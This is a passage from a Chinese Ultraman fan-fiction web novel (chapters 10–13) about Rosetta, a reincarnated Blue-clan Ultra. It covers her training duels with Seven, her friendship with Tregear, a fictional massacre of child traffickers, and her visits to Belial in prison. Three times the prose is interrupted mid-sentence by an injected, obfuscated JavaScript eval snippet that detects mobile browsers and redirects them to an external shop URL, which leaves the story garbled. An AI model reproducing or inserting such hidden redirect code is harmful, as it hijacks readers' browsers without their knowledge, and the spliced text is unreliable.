罗塞塔站起来,稚子不曾嘲笑这位阶下囚的雄心壮志,而是翩翩行礼,好像她走过万千阶石,来觐见未来的银河皇帝。她抬起头说:“和您聊天很愉快,时间到了,我该回去了。我还会再来的,您大可以来尽可能地来说服我,动摇我,欺骗我,直到您的愿望达成。就把这当作我们的小小游戏吧。期待我们的下次见面。再见,贝利亚前辈。” 这个谜一样的蓝族少女离开了。贝利亚注视着罗塞塔离去的背影,有些愠怒。任何一个光之战士听见他的话语都会愤怒、怀疑和崩溃。可是面对那个少女的时候,他感觉自己在面对一片大海,任凭风暴如何肆虐,海洋平静地照盘全收,不为所动。如果不能用信念摧毁她的心智,下一次他要使用什么说辞来诱惑她呢?是技艺,还是历史……亦或者,是无聊的感情?贝利亚开始思考。 “下次再见”的约定轻巧地把他充满暴怒和复仇的心灵撬开一角,于是期待的种子擅自生长。 她走在归途上,想明白了一个问题。 托雷基亚的痛苦,贝利亚的堕落,根源都是一个问题:人生存在的意义是什么,我们应该为什么而活? 光之国给出光明美好的答案,但是那些答案无法说服托雷基亚,所以他走向宇宙,走向混沌。而我又要去哪里寻找这个答案? 对于我来说,这个问题的答案又是什么? 罗塞塔回到了孤儿院,为她开门的是佩卡女士。她朝佩卡道了一声晚安:“晚上好,佩卡女士,我回来了。” “看上去很高兴呢,小罗,今天又和托雷基亚和泰罗出去玩了吗?” 罗塞塔微笑着摇头:“不是哦,我今天认识了一个银族的新朋友。我有预感,我们会成为很好很好的朋友。” 10. 我打赛文?真的假的? (10) 为了和泰罗一起考上宇宙警备队,托雷基亚开始了艰苦的训练。 时时刻刻在身上绑着负重,放学后也努力锻炼,和泰罗相约在训练场对练……托雷基亚投入了无限的热情和毅力在变强上。今天也是如此,在绕着跑道跑了第八百圈后,蓝族少年感觉自己的肺要炸开了,呼吸间都带着血腥味,肌肉也酸痛得好像被撕裂,他眼前一黑,还是咬着牙跑过终点。然后提起的心气一下子散掉,踉跄地扑倒。他没有摔在地上,因为守在终点的罗塞塔接住了他,罗塞塔扶住托雷基亚,一下一下地轻抚着少年的背部给他顺气,然后慢慢走到远处的长椅上坐下。 少女把托雷基亚放平,让好朋友的头枕着自己的腿。她握住他的手,治愈的绿色光芒亮起。罗塞塔的光引导梳理着托雷基亚体内沸腾的光,托雷基亚感到疲惫如潮水退去,喉咙和肌肉的痛苦也慢慢消失。他呼出一口气:“——谢谢你,罗塞塔。” “今天也辛苦了,托雷,用时有比上次短哦。” 蓝族的少女一边说,一边放着治愈的光线。托雷基亚枕着罗塞塔的腿向上望去,他能看见少女垂下的角翼,光之国翠绿的天空,还有远处闪耀的等离子火花塔。趁着休息的间隙,他问:“过来陪我不会耽误你的修行吗?” “治愈的光线也需要经常使用才能进步,至于体能锻炼,”罗塞塔叹了一口气,“你知道的,还是老样子。” 托雷基亚忍不住想起罗塞塔的“惊人”战绩,升入高中后,学霸罗塞塔迎来了她的一生之敌,体育课。开学以来,罗塞塔上了五次体育课,进了三次银十字。银十字军不得不给罗塞塔开了证明,让罗塞塔免修体育,使这个可怜蓝族免于体能锻炼的折磨。但是除去体能,罗塞塔依旧在其他课程上稳坐第一的宝座,她的光线十分出色,可以和银族同学对波一整天都不喘气,念力更是惊人,无论是质量和精度都比一些战士还要高。于是老师对于罗塞塔的免修体育没有意见。一句概括是:能教的(体术)罗塞塔学不了,能学的(光线和念力)罗塞塔不用教。所以每次上体育课的时候,罗塞塔就去银十字提前学习治疗光线。学完就回来找泰罗和托雷基亚刷熟练度,这下泰罗和托雷基亚练起来更没顾虑了。 “今天你有去找赛文前辈学习念力了吧?可以和我讲一讲吗?” 托雷基亚的念力并不出色,他很好奇罗塞塔的学习到什么地步了。罗塞塔治疗完托雷基亚,松开他的手:“好,让我回忆一下……” 今天是休息日,罗塞塔提前和赛文约定,在第十六号训练场学习奥特念力。赛文已经考上行星观测局的预备队,成为一个光之国的文官。赛文一族多是战士,但是赛文其实不喜欢战斗,比起战斗他更喜欢观察星星,养养小动物,绘画星图。但是他从来没有荒废训练,毕竟敌人不会看你是文职就不打你了。赛文抽了一个上午来教导罗塞塔,他其实没怎么教过人,赛文一族的训练方式就是实战,大量的实战。他抱着肩看着蓝族的少女一会,面色冷硬。看起来很凶很严肃,其实走神有一会了。 蓝族要怎么教?这孩子看起来好……脆,不小心打坏了怎么办? 沉默了一会,赛文说:“我们从基础开始,你的体育课成绩是多少?” “0。因为体质太差了,老师已经教不了我了。” 罗塞塔很诚实地说:“赛文哥哥不用担心,我已经自学了治愈光线,只要你不是一拳把我打死。我都可以把自己拉起来的。” 赛文心里没底,他的脸色更严肃:“基础是很重要的,不可以因为先天不足就放弃!没有体力怎么能支撑念力的放出?先绕着训练场跑二十圈!” 罗塞塔没有反驳,她觉得赛文毕竟是年长的前辈,应该心里有数。于是她去跑圈了。然后成功在第十圈阵亡,扑通一声倒下。赛文大惊,光之国居然真的有柔弱成这样的奥特曼。他八百岁就能跑一百圈了! “能站起来吗?” “呼呼……呼……可以。” 罗塞塔站起来了,但是……很奇怪,她的骨骼和肌肉都没有发力,赛文仔细看了看,忽然明白了:“你用奥特念力操控了自己的身体?” “是的,赛文前辈。奥特念力可以控制物体,我的身体也是一种物体。所以当体力耗尽的时候,可以用意志补上。” “强行控制身体做出标准的姿势会拉伤肌肉,如果没有控制好甚至会把你的骨头拧断!”赛文皱起眉,这是一个危险的做法:“你不应该走旁门左道。” “这也是没办法呀。其实我有努力锻炼过了,可还是跟不上大家,我能做的也只有不在关键时刻拖后腿了。”罗塞塔控制着自己的脊柱站直:“我必须保证不会因为自己的原因让队友陷入困境。要来试试看吗?试一试我的实战能力?” 如果没有战士的才能,又为什么非要成为战士呢?赛文有些生气,他见不得小孩这样不爱惜自己的身体。他拔下了冰斧:“如果做不到的话,就不许再用这样危险的办法了。我会在这里把你打倒,然后你就放弃去战斗的念头。” “可是我也有必须要战斗的理由啊,赛文哥哥。”罗塞塔微笑着,放出了自己的飞羽。 赛文先动了。 他握住冰斧,身体压成一道红色的闪电切过来。罗塞塔毫不惊慌,向右后退一步躲开。两支飞羽像银色的手术刀追上赛文,直击他的脖颈。赛文侧身,用冰斧格挡。一个旋身,右腿横劈扫向罗塞塔的腰侧。罗塞塔用手轻推赛文的腿,借力顺着这道攻击“飘出去”。她很清楚自己的弱点是脆弱的身体,拉开距离用飞羽攻击才是正确的战术。很机智的做法,赛文暗暗说到,但是他不会让罗塞塔如意。赛文松开手,冰斧像银色的流光从后方袭来,封锁退路。同时他伸手去抓罗塞塔的手腕,另一只手直取蓝族的咽喉。危机时刻,罗塞塔放开了全部的念力。她轻缓地蜷缩起自己的身体,躲过前后夹击。然后以一种反物理的角度,从一边闪过。 她闭上眼灯。 意识在扩张,上升。忽略掉骨骼的哀鸣和肌肉的疼痛,操控这具木偶战斗。就像在街机上玩格斗游戏一样,只要血条不为0就不算死亡,只要没有死就是我赢了。 罗塞塔的眼灯亮起。赛文的攻击越发急促,他明白罗塞塔在做什么,她正在更加理性冰冷地使用自己的身体。那具蓝族的身体被念力扭成越发极限的姿势,赛文感到自己的怒火在上升,她为什么要这么坚持?她还能坚持多久? “要多久,我奉陪多久。” 好像看穿了赛文的心思,罗塞塔如此回答。她的眼中出现了空间和能量的流动,冰斧刁钻的轨迹尽在掌握。躲闪、格挡、最后是——反击!念力随着使用越发娴熟,她甚至开始尝试抢夺赛文对于冰斧的控制权。这是能做到的事情吗?赛文惊讶,冰斧是赛文一族身体的一部分,怎么会有人能过越过你直接控制你的手?用念力控制物体本就困难,奥特曼要用千百倍的精神去撼动物质界的重量,控制另一个人的身体更是困难,你要和他的意志直接角力! 可以的,罗塞塔想,可以的。我不需要取得冰斧的控制权,我只要干扰他就好了。让他的冰斧失控,让他分心,只要一瞬,就是结束战斗的时机。 冰斧像是喝醉了酒的汽车,飞得歪歪扭扭。赛文的念力直接撞上了罗塞塔的念力。奥特念力是精神在现实的显化,有研究说,奥特念力会直白地显示一个人的性格特质。赛文感受到了痛——先是如利剑的锋芒割开他的念力,然后是火焰,冰冷的火焰。压抑的,燃烧的火焰被罗塞塔藏在她的身体之下,顺着赛文的念力烧向他的灵魂。一瞬间,赛文的眼前全是燃烧的蓝色火焰! 他感受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648346|206822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了危险,在这个脆弱的、年幼的蓝族身上!他循着战士的直觉向前挥拳,一缕柔风轻轻擦过他的手肘。蓝色的蝴蝶停在他的手臂上。 罗塞塔腾空而起,随后落下,她的脚尖轻点,落在赛文伸出的手臂上。她弯下腰,双手虚拢住赛文的脖子。这么近的距离,一个幼童发射光线都足以切开他的脖子。蓝族少女的脸色没有成功的自满,她还是挂着那副温柔的微笑,好像在问他:我的意志足够打动你了吗? 金色的眼灯望着白色的眼灯,最后是金色的眼灯先移开视线。 “……” “……下来。” 罗塞塔轻盈地跳下来,手上绿光大作,开始疯狂地自奶。光之巨人虽然有血液、肌肉和骨骼,但是这一切都是由光粒子组成的。用治愈光线修复起来格外方便。像是用针线修补织物,罗塞塔熟练地缝合自己的骨肉,把身体修复到最佳状态之后,她才回头去看赛文。赛文把冰斧重新安装到脑袋上后,坐了下来,然后示意罗塞塔坐到他的旁边。两个人就这样坐在训练场上,看着防护罩外面其他的训练场上光线乱飞。 “罗塞塔,你究竟是为了什么而战斗?” “战斗需要理由吗?”少女问,“我不想死,如果遇到敌人,就不得不战斗了吧?” “如果是害怕死亡的话,只要留在光之国,前方的战士都会保护你的。” “我从来不把希望寄托别人身上。”罗塞塔说,“婴儿不会永远留在摇篮里,我的朋友们向往着宇宙,我也是。我不要做留下来的人,我要自己跟上他们的脚步。” 赛文看着这个倔强的孩子,少女的心性就是坚韧不拔。她才4000岁,却比很多成年人更加冷静执着。他本就不擅长言辞,现在更想不出什么话来说服她。他不是想要罗塞塔放弃战斗,他只是想说,那样勉强自己,你不会痛吗……使用奥特念力会成倍地消耗生命,每一次战斗都要强行操控身体,你的骨头断裂过多少次了?一个蓝族,要吃多少苦头才能和红族并肩,你要付出多少努力和汗水,才能走到别人的起跑线?他张了张嘴,只说:“那样会很累。” “我已经做好准备了。我不会后退的,赛文哥哥。”罗塞塔转过脸,“我不会放弃。” 那他还能说什么呢? 赛文只好说:“罗塞塔,我会帮你的。” “大概就是这样,我和赛文哥哥打了一场,通过了赛文哥哥的测试。诶,这样说起来,我是不是该称呼赛文哥哥为老师了?” 罗塞塔轻描淡写地概括了早上和赛文的战斗,省略了一下不必要的对话。想要做上战场的医生就是要很努力的,她早就有心理准备了。托雷基亚着迷地听着这场对战,他问:“所以你是怎么成功地闪避掉所有的攻击的?” “直觉吧?”罗塞塔想了想,“直觉是大脑潜意识的计算,我能【看见】所有的攻击,我能知道应该怎么躲开。因为感觉挨一下我就肯定会死,所以求生的本能就让我一定要闪避。” 说起来容易,这需要很冷静的计算才能做到。托雷基亚想,这种战斗直觉不亚于预知了。罗塞塔如果不是蓝族,而是一个红族或者银族,她的天赋一定会让她成为一个强大的战士。可惜她是一个蓝族。 幸好她是一个蓝族。 他忽然有些不合时宜的窃喜,真好啊。罗塞塔是我的同类,我们分享着同一个困扰,同一种痛苦。越是仰望太阳之子的光辉,就要越是努力,把自己变成一颗燃烧的流星。哪怕只能闪耀片刻,也要和太阳一起同行。 罗塞塔,我们难道不是彼此的倒影吗?我们是同一个星系中伴生的双星,共同围绕唯一的恒星旋转起舞。 “好了,我休息好了。我要继续锻炼了。”托雷基亚站起来,“我们都要努力地追上泰罗啊。” “嗯,继续加油吧!” 11. 鉴定为超大杯 (11) 少年们从奥特情报中心高阶毕业了。 罗塞塔向银十字军投递了志愿,然后就安心地开始准备考试。两天前,她从赛文手上出师。赛文发现罗塞塔对自己的定位很清晰,她是队伍中纯粹的辅助位。最重要的是保护自己不让队友操心,然后在战场上游走,看准时机给队友加血加能量。或者苟起来蓄个大招,一发光炮秒掉敌人。作为一个蓝族,她的能量实在是太充足了,如果没有体术的短板,罗塞塔一定会成为一个六边形战士。赛文不止一次为罗塞塔感到遗憾,但是罗塞塔从来不沮丧,她反过来安慰赛文:“能过拥有健康的身体已经是天大的幸运啦,天赋这种东西就是可遇不可求的。” 罗塞塔心想,和上辈子人类的我相比,我已经强的可怕了,人生最重要的就是要知足。 罗塞塔成为赛家班的第一期学员,每天不是在挨揍就是在挨揍的路上。赛文说:“罗塞塔,你对于战斗理论已经融会贯通,缺少的只是实践。我会尽可能多的给你展示战斗,你要记住我的招式,用你的智慧思考怎么破解我的招式。” 然后他起手就是一个赛文冰斧,杀气腾腾地冲过来。 泰罗和托雷基亚有时候也会来观摩战斗,他们感觉自己的眼睛不太够用。训练场上一红一蓝两道流光迅猛地碰撞又交错,这对师徒交手的速度快得难以想象,冰斧和飞羽在在场上随机的位置刷新,训练场的地板被能量风暴刮出无数划痕。最后是罗塞塔纵身一跃,角翼发光,从两角之间发出了自己的招牌光线——“安乐之声”。 耀眼的白光如螺旋状的箭矢射出,赛文发射集束光线对抗。两人在一条直线的两端对视,他看见罗塞塔在笑。不同于平日挂在脸上的恬淡微笑,已经成年的蓝族因为战意笑得十分张扬,她痛快地笑出来:“——赛文哥哥,我在等暖机,你在等什么?” 安乐之声,连发! 蓝族宛若乐队的指挥家,双臂抬起,划过一个圆满的弧度,她做出了一个开场的姿势。瞬间,无数白色光点如落入湖中的雨丝,在空间泛起阵阵涟漪。每一个涟漪都是一支利箭,成百上千的光线蓄势待发。然后下一秒,密集的轰炸像暴雨落下,明亮的雨水把整个训练场的防护罩都打的摇摇欲坠,这下场外观众什么都看不见了。 泰罗呆滞地转过头:“托雷基亚,我记得罗塞塔的志愿是成为医生吧?” “你猜这个光线为什么叫安乐之声?”托雷基亚幽幽地说,“只要罗塞塔蓄力完成,无论是敌人还是我们,都会变得很安乐。” 你说得对,但这就是安乐之声。技能开启时罗塞塔的攻击范围扩大,攻击力提升,攻击间隔大幅度减少,立刻对前方瞄准进行多次无视闪避的轰炸,轰炸造成一定范围的溅射伤害,攻击装有数发光箭,持续时间60S,可随时停止技能。 赛文和罗塞塔都没出全力,在训练场的防护罩又一次被他们联手干碎之后,赛文和罗塞塔都灰头土脸地飞出来了。罗塞塔给自己刷完治疗,顺手也给赛文奶满状态。赛文习惯性地摸了摸罗塞塔的头:“表现不错。” “赛文哥哥,你是怎么把罗塞塔教得这么厉害的!”泰罗挤到两人中间,眼灯亮晶晶的,“我也想学!” “你们的发展路线不一样,罗塞塔的战斗风格不适合你。”赛文说,“罗塞塔的缺点和优势都很极端,她不能被近身,如果有敌人瞬间近身刺杀她,罗塞塔就会在一开始输掉。而且她的光线需要蓄力时间,这使得她必须拉长战斗时间,消耗本来就不多的体力。” “对哦,所以我很依赖队友的。我需要一个队友在前面抗伤害,给我调整能量回路的时间。平时我可以治疗队友,需要的时候你们还能把我扛起来当炮台。” “如果你想学,”赛文想了想,“我可以给你做躲避训练。” “赛文哥哥,那是什么?” “赛文前辈放出上百个八分光轮追着你削,你必须躲避掉所有八分光轮,碰一下就要进银十字。”托雷基亚回答,他也动过和罗塞塔一起训练的念头,然后看见了赛家班豪迈的训练方式。那一天回家后,托雷基亚很长一段时间梦里都是自己被丢进全是刀片的滚筒洗衣机哐哐地转。他觉得罗塞塔真是天纵之才,能在赛文手下顽强地生存下来,这是何等强大的生命力。罗塞塔虽然很脆,但是还挺难杀的。 “哈哈哈,这就不用了吧。”泰罗试图用大笑糊弄过去,这是训练的方式吗?这是把罗塞塔当怪兽整啊! “罗塞塔,能做的你已经做到最好了,我没有什么可以教你的了。” “谢谢你,赛文。”罗塞塔真诚地感谢。把一个从没打过架的萌新拉扯大,她愿称呼赛文为真正的奥特之母,“以后我还可以来找你请教吗?” “当然。祝你考上银十字。”赛文说,“也祝你的梦想实现。” 三人小队参加了各自的考试。 理论部分,奥特曼的脑子从来没有让罗塞塔失望过。而手术实操,在罗塞塔近乎开挂的感知之下也顺利完成。奥特曼是一种高能量光之生命体,而罗塞塔可以看见能量的流动。这意味着她其实开了透视眼,只要大脑不被繁杂的信息熔断,对能量进行操作就是非常轻松的事情。啊,这算六眼还是通透世界?罗塞塔后知后觉,原来我还挺牛逼的。 她考完试就回到了自己的房子。成年后孩子们就可以从孤儿院搬出来,选择心仪的房子独自居住。托雷基亚的家在奥特图书馆旁边,罗塞塔很严谨地在地图上画了一个等边三角形,一个端点是泰罗的家,一个端点是托雷基亚的家,她在最后一个端点选择自己的房子,这样三人小队无论去谁家的距离都是一样的。 三天后她收到了银十字的录取通知书,泰罗也考上了宇宙警备队。很遗憾,托雷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648347|206822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 基亚还是没有考上。 “又是光线?” “嗯。” 就像体术是罗塞塔的缺点一样,光线也是托雷基亚的缺点。在模拟考试中他的成绩就忽上忽下的,纯随机。蓝族的能量储备被本来就是最少的,托雷基亚甚至已经算中上水平了。成绩出来后,托雷基亚一个人敲开了罗塞塔的门,把自己团进罗塞塔的沙发里。他疲惫地闭上眼灯,努力了这么久,还是跨越不了血统的差异,这个世界可真是不公平啊。 不是努力就一定有回报。 罗塞塔坐到他的身边,捡起被托雷基亚丢在地上的成绩单:“只差一点,不再试一次吗?” “差一点就是不稳定,不稳定就是不合格,就算下一次我考过了也没有意义。侥幸不能证明我有成为战士的资格。”完美主义者回答。 “那接下来有什么打算吗?” “泰罗建议我去科技局发展……科技局,科技局,科技局……”托雷基亚神经质地重复了几句,居然笑出声了,“哈,科技局果然才是蓝族应该去的地方。” 看把孩子打击成什么样子了。罗塞塔想,她坐在那里,没有出声。对于自尊心高的托雷基亚来说,安慰也是一种伤害。 托雷基亚安静地呼吸着,静谧,暗淡的环境给了他一种莫名的安心感。就像躲进被窝,或者是孩子的秘密书屋。罗塞塔的家与光之国其他建筑不一样,墙壁不是完全透明的,内部光线调节得很低。因为她在房间里养了很多绿植,光之国是没有植物的,火花塔的光线会灼烧这些脆弱的生命,于是奥特曼只能用水晶模拟花树,装点这个明亮又炙热的国度。有时候托雷基亚觉得等离子火花塔太亮了,亮得他自惭形秽。他只能躲到罗塞塔的家里,在这片小小的人造绿洲里,和唯一的同类紧挨着取暖。 为什么我是这样不完美呢?作为奥特曼我居然会恐惧光芒,恐惧极善极美的光明。光之国说,奥特曼都是正义与善良的化身。这是真的吗?那为什么,为什么我是这样的迷茫又懦弱,和其他不成熟的宇宙人没有区别?是我有问题吗? 还是说,奥特曼其实就只是一种自以为完美的未成熟生物? 托雷基亚无法控制自己的思考,这时他感到罗塞塔纤细冰凉的手指慢慢滑进他的手心。他点亮眼灯,看见罗塞塔双手握住他的手,露出了纯洁又柔软的表情,那个表情给托雷基亚一种莫名不安的熟悉感。她说:“托雷基亚,要和我去体验一下成为宇宙警备队的感觉吗?” “什么?” “想要执行正义,不一定要成为宇宙警备队的成员。你不想去看一看,泰罗未来要面对的是什么东西吗?你不想知道吗?那条道路上到底是什么光景?” 想起来了,上一次罗塞塔露出这个表情,是邀请他去宇宙监狱参观贝利亚。 他的回答当然是—— “好。” 12. 公义自有应存之理 (12) 两天后,拉提亚星系。 就像小时候结伴冒险一样,罗塞塔带着托雷基亚坐上宇宙飞船,飞到了一个偏远的星域。她一边操纵飞船,一边和托雷基亚交流情报:“我在宇宙黑市上接了一个悬赏,悬赏对象是一伙黑暗宇宙人。他们捕捉各个种族的幼崽,卖给角斗场、非法实验所和有钱的宇宙富豪。我打探到他们今天会在这颗星球上落脚休整,我们的任务就是把他们一网打尽,送孩子们回家。” “我真的可以吗?”托雷基亚有些紧张,“我甚至不是预备队的战士。” “托雷,你应该对自己有正确的认知。你已经是光之国最能打的蓝族了。不要担心,我会在后方辅助你的。” “好、好的!” 战斗很顺利,走私人口的邪恶宇宙人在光之巨人面前也成为了无助的孩子。托雷基亚甚至不需要任何帮助,他把最后一个黑暗宇宙人打倒,手中的光线蓄势待发。 “奥特曼……对不起、我知道错了!我不是故意的、我才刚刚加入,我会向宇宙法庭自首的!求求你,放过我吧!” 长得略有人形的黑暗宇宙人跪倒在地,颤抖着俯下自己的身体。怎么就这么倒霉,我一来就遇上了光人!他抬起鼻青脸肿的脸,怯弱地看着蓝色的奥特曼。托雷基亚犹豫了,做到这一步是不是就可以了呢?恶人愿意悔改,这应该是个好结局吧? 罗塞塔注视着这一切,她看着宇宙人的求饶,哀嚎。她想,原来如此。 她抬起手。 “啊——” “好痛!” “不要过来!” “我们错了!对不——” “妈妈……” 白色的光线精准地收割生命,先削去四肢,确定猎物不会逃跑,然后砍去头颅,刺穿脊柱,碾碎心脏。托雷基亚看见他的朋友闲庭信步,踏着尸骸走到他的面前。各个种族的鲜血从她的脚边漫开,像是打翻的颜料,却无法沾染这尊纯白的石像分毫。跪在托雷基亚身前的黑暗宇宙人吓得魂都要飞了,他连滚带爬地躲到托雷基亚身后:“别杀我!把我交给宇宙法庭!我会老老实实地坐牢的!” “……你在干什么,罗塞塔?” “杀死恶人,仅此而已。你心软了吗,托雷?” “他们已经知道错了,我们应该把他们交给宇宙法庭,这才是我们应该做的事情!”托雷基亚的手微微颤抖,他的动摇不是为了这群宇宙人,而是为了罗塞塔。任何一个奥特曼面对知性生命体的哀求都会犹豫,这是源于生命底层的共情。可是罗塞塔的视线在扫过那些生命的时候,她的神情像是在看什么舞台装置,甚至不为那些被拐卖的可怜孩子动容。罗塞塔不是一直都是温柔的、理智的人吗?还是说,现在她所展现的异质才是她的真面目?蓝族少女转头注视着他,那双总是注视着他的白色眼灯背后,有某种东西隔着奥特曼的身躯与他对上眼,一阵战栗爬上脊背,他怀着最后一丝希望问:“是因为你太生气了吗?” 为善良愤怒好过因无情冷漠。 罗塞塔看着他,轻轻地笑了。 “没有哦,不如说,听见这些悲鸣,看见这些鲜血,我很开心。”她的脸上出现了干净澄澈的笑容:“这是我们第一次和宇宙中的黑暗交涉吧?我真的,非常高兴哦。” “为什么?”托雷基亚无法理解。 “因为普世的【正义】,真的是存在的啊!” 她轻盈地旋步,像是登上演讲台的科学家,即将宣布新发现的真理。罗塞塔用梦呓一样的语气说:“他们会痛苦真是太好了,他们会害怕真是太好了,这不是证明光和暗的生命没有什么不同吗?我们都喜欢好的,让我们感到舒适的东西,讨厌坏的,让我们痛苦的东西。厮杀和践踏都是让我们痛苦的东西,因此,可以保证更多人舒适生活的【正义】就是好的。这说明我们的文明都约定俗成一套共同的潜规则。这些黑暗宇宙人,他们知道自己做的东西是不对的。明明是他们先打破了【正义】的约定,向他人施加痛苦吧?所以他们无论得到什么报应都是应该的哦。所以我很开心,光之国宣传的正义是存在的。这些眼泪和鲜血就是正义生效的最佳证据,托雷基亚——” 罗塞塔脸上挂着迷醉般的光晕,恬静又安宁地望着他:“光之国没有欺骗我们,我们不该高兴吗?” 不对。 这不对。 你不应该为了泪水和鲜血喜悦,正义也不是一个用生命衡量的逻辑推理。生命的逝去,无论善恶,都是沉重又痛苦的东西,正义之所以存在,是因为我们敬畏痛苦,我们渴望制止罪恶,惩罚罪人,是为了拯些什么,而不是为了证明一个名为正义的完美公式。 如果你不是因为爱和怜悯认同正义,那我们的友谊,是否也是出于某种冰冷逻辑的运作,而不是真心实意? 如果真的是这样……那你不是太孤独了吗? 托雷基亚深吸了一口气,他没有后退,向罗塞塔走了一步:“罗塞塔,我们都是光之国出身的奥特曼,我们接受了同样的教育,这不是光之战士应有的想法,为什么你会这样想?” “这让你很难接受吗,托雷?”罗塞塔回答,“因为我其实一直无法理解光之国大家追求的道路终点是什么,我承认我不太正常,但是我很在乎光之国的大家,所以我有在努力做一个正常的奥特曼。” 正义啊光明啊都是太抽象太遥远的概念,罗塞塔一直在学习,却一直困惑。人类的共情机制是基于相似性的触发,越是和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648348|206822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己相似的存在,我们越容易感同身受。有一些人甚至会移情到动物身上,怜爱毛绒绒的小动物们。因为他们既柔软又温暖,眼睛纯真得犹如小孩。很难看见什么人类会喜爱飞天大蟑螂吧?就是因为它与人类相异之处实在太多了。而人类又是一种会被环境限制认知的存在,一个人终其一生只能认知周围不到百米的事物,更遥远的空间就要借助网络和媒体了解。所以,尽管同是人类,我们会更加共情我们国家的同胞,因为其他国家的人类离我们实在是太遥远了。穿越之后,这个宇宙要比地球大上何止数百倍?奥特曼长得算是人形,光之国又是她熟悉的家园,所以罗塞塔可以爱护光之国,爱护现在的同族。而其他的宇宙人,长相超越想象力,一个赛一个的奇怪,就算知道他们是知性生命体,罗塞塔也很难对他们有什么感情。 说到底,她是真正的异乡人。这个宇宙中的所有生命对她来说都非族类,至于地球……那些身体素质堪比超人的昭和神人,真的和前世的她是同一种东西吗?长得像人但不是人的东西更可怕。 奥特曼究竟是怎么做到怜爱世间所有的生物的呢? 她从泰罗身上学习温暖的笑容,从托雷基亚身上学习悲伤的泪水,从佩卡身上学习慈爱的温柔,却始终无法成为纯粹的奥特曼。很久之前,她就告诉过托雷基亚,一个人永远无法完整地认识自己,在千百年时间的冲刷下,她也不知道如今的自己成长成了什么模样。幸好她是奥特曼,如果在宇宙的其他地方出生,她也不知道“罗塞塔”会变成什么样子。沉默片刻,她只好道歉:“对不起,托雷基亚,吓到你了吗?我是一个自私的奥特曼。除了重要的人,其他人我全都不在乎。” 那一瞬间蓝族少女的目光变得平静而茫然,透露出一种遗世独立的孤独,好像下一秒就要挣脱尘世,抽离这个世界。托雷基亚的心恐慌起来,他抓住罗塞塔的手:“不,无论罗塞塔是什么样子的,你都是我的朋友!我想要的不是一个正常的奥特曼,只是我的朋友罗塞塔!” “啊……谢谢你,托雷。” 罗塞塔又露出了日常的,温柔的笑容。她晃了晃托雷基亚的手:“我们处理完这里的事情,就回去休息吧?” 他们把目光移向最后一个宇宙人,听完这两个光人对话的宇宙人瑟瑟发抖,还是监狱好,监狱没有突然发癫的神经光人,我要一辈子待在监狱里!他在心里呐喊,然后在犹如实质的视线中嘎巴一下晕过去了。 罗塞塔和托雷基亚安抚了受害者,将孩子们送到救援机构,把这个唯一活着的人贩子押送到宇宙法庭后离开了拉提亚星系。 第二天,托雷基亚向科技局提交了入职申请。他想,我要留在罗塞塔身边。比起泰罗,还是罗塞塔更需要关心一点吧。 13. 超度我 (13) 罗塞塔像回自己家一样又溜达进了宇宙监狱。 她盘坐在贝利亚面前,也没有管贝利亚有没有醒,就开始问候:“贝利亚前辈,按照约定,我来看您了。” 贝利亚的眼灯暗淡,他没打算回应,他要先看看这个小鬼又打算说些什么。沉睡的时候时间总是过得很快,入睡前他还想着要怎么操控罗塞塔的灵魂。一觉醒来,这只不知死活的蓝色小鸟已经蹦蹦跳跳地在危险边缘来回试探。 “我好像把我的朋友吓到了。” 嗯?听到这我可不困了。 贝利亚亮起眼灯,猩红的光芒投向蓝族的少女:“怎么,你告诉他们光之国是一个欺瞒的国度了?” 罗塞塔摇了摇头:“我只是,向他稍微展露了一下真实的自我。” 贝利亚开始思考,这个时候他应该趁虚而入,安慰这个失落的孩子,然后骗取她的信任和依赖。但是他该说什么?他长这么大,还从来没有哄过人,而且还是哄小女孩。他沉吟了一下,心直口快地说:“那就是其他人太愚蠢,只想看见自己希望看见的东西,我早就说过,光之国容不下我们这样的存在!” “……”面对贝利亚坚持不懈地挖墙脚,罗塞塔本来忧郁的心情都被无语冲淡了几分。罗塞塔想,贝利亚突然变成知心老爷爷,肯定是想骗我解开封印。这个时候我应该迎合他几句,好乘机获得他的信任,让他向我展露更多的自我。于是她抬起头,孺慕地看着贝利亚:“谢谢您安慰我,前辈,您真的是太贴心了。” 老狐狸和小狐狸开始互演,因为他们想的其实是一样的……都想趁机和对方打好关系。所以一时间老少相谈甚欢,你一句我一句地唠起家常。贝利亚假装不经意地问肯和玛丽怎么样了,当年我拳打脚踢肯如踹一条野狗好不威风,罗塞塔说大队长家的孩子都成年好久能打小怪兽了。罗塞塔谈起佐菲成为了警备队队长,宇宙中人称“那位大人”。贝利亚感叹这小子真是出息了,他小时候我还带过他呢……在一阵融洽地商业互吹之后,双方都很满意,其乐融融地成为了忘年交。 